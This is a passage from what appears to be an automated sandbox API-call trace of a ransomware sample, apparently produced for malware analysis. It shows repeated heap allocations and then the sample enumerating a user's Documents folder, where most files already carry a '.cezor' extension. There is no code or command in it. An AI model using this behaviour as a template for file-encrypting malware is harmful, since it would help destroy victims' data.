dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.664] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.664] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.664] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.664] PathFindFileNameW (pszPath="") returned="" [0122.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.664] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.664] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa28680, ftCreationTime.dwHighDateTime=0x1d4c608, ftLastAccessTime.dwLowDateTime=0xd15c76d0, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x142d4410, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9a4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 YiCSGLLTlIDeQ.doc.cezor", cAlternateFileName="2YICSG~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2 YiCSGLLTlIDeQ.doc.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3c7940, ftCreationTime.dwHighDateTime=0x1d4d14e, ftLastAccessTime.dwLowDateTime=0xc3d66d90, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0x142d4410, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x181e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3fgk.pps.cezor", cAlternateFileName="3FGKPP~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3fgk.pps.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7919730, ftCreationTime.dwHighDateTime=0x1d4d7ef, ftLastAccessTime.dwLowDateTime=0xc9be4e60, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0x142fa570, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x187c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3kKQ7nGkbpOOq-1 5zRt.pptx.cezor", cAlternateFileName="3KKQ7N~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kKQ7nGkbpOOq-1 5zRt.pptx.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8738f0, ftCreationTime.dwHighDateTime=0x1d4d6ab, ftLastAccessTime.dwLowDateTime=0xfac408f0, ftLastAccessTime.dwHighDateTime=0x1d4b566, ftLastWriteTime.dwLowDateTime=0x143206d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17339, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45LEiyxnf Plrmb.docx.cezor", cAlternateFileName="45LEIY~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45LEiyxnf Plrmb.docx.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ca8cd0, ftCreationTime.dwHighDateTime=0x1d4b696, ftLastAccessTime.dwLowDateTime=0xc4b1de0, ftLastAccessTime.dwHighDateTime=0x1d53521, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1691d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Jnu XQUnVKH6.xlsx.cezor", cAlternateFileName="5JNUXQ~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5Jnu XQUnVKH6.xlsx.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2233870, ftCreationTime.dwHighDateTime=0x1d4d364, ftLastAccessTime.dwLowDateTime=0xd5df3c70, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x3651, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5W-053pafC.pps.cezor", cAlternateFileName="5W-053~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5W-053pafC.pps.cezor") returned=".cezor" [0122.665] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x426277c0, ftCreationTime.dwHighDateTime=0x1d4f0c5, ftLastAccessTime.dwLowDateTime=0x77add790, ftLastAccessTime.dwHighDateTime=0x1d51b21, ftLastWriteTime.dwLowDateTime=0x14346830, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xd0ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AGokm2hLuNsPkZ.pptx.cezor", cAlternateFileName="AGOKM2~1.CEZ")) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.665] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AGokm2hLuNsPkZ.pptx.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa372c070, ftCreationTime.dwHighDateTime=0x1d4ca09, ftLastAccessTime.dwLowDateTime=0xd0d81740, ftLastAccessTime.dwHighDateTime=0x1d4d364, ftLastWriteTime.dwLowDateTime=0x1436c990, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x160aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUziw_klSFTDwvC1Vm.pptx.cezor", cAlternateFileName="BUZIW_~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUziw_klSFTDwvC1Vm.pptx.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376fe090, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0x3d125d40, ftLastAccessTime.dwHighDateTime=0x1d4fbf5, ftLastWriteTime.dwLowDateTime=0x1436c990, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x17814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dtk7xvzoVk_gCAUAkb.xlsx.cezor", cAlternateFileName="DTK7XV~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dtk7xvzoVk_gCAUAkb.xlsx.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c2b330, ftCreationTime.dwHighDateTime=0x1d4c014, ftLastAccessTime.dwLowDateTime=0xbc3d37e0, ftLastAccessTime.dwHighDateTime=0x1d5273b, ftLastWriteTime.dwLowDateTime=0x14392af0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x15de9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDFXHniYi.docx.cezor", cAlternateFileName="EDFXHN~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EDFXHniYi.docx.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f27c5b0, ftCreationTime.dwHighDateTime=0x1d4ce9d, ftLastAccessTime.dwLowDateTime=0x914cbe20, ftLastAccessTime.dwHighDateTime=0x1d4d551, ftLastWriteTime.dwLowDateTime=0x143b8c50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x109b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EGkqtCRNREaQo4XfBL.ods.cezor", cAlternateFileName="EGKQTC~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGkqtCRNREaQo4XfBL.ods.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d36b00, ftCreationTime.dwHighDateTime=0x1d4d283, ftLastAccessTime.dwLowDateTime=0x18736ac0, ftLastAccessTime.dwHighDateTime=0x1d4d318, ftLastWriteTime.dwLowDateTime=0x143b8c50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xa77e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G-R5IPPjXNO2pufW-w.pptx.cezor", cAlternateFileName="G-R5IP~1.CEZ")) returned 1 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.666] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\G-R5IPPjXNO2pufW-w.pptx.cezor") returned=".cezor" [0122.666] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78b5160, ftCreationTime.dwHighDateTime=0x1d4e787, 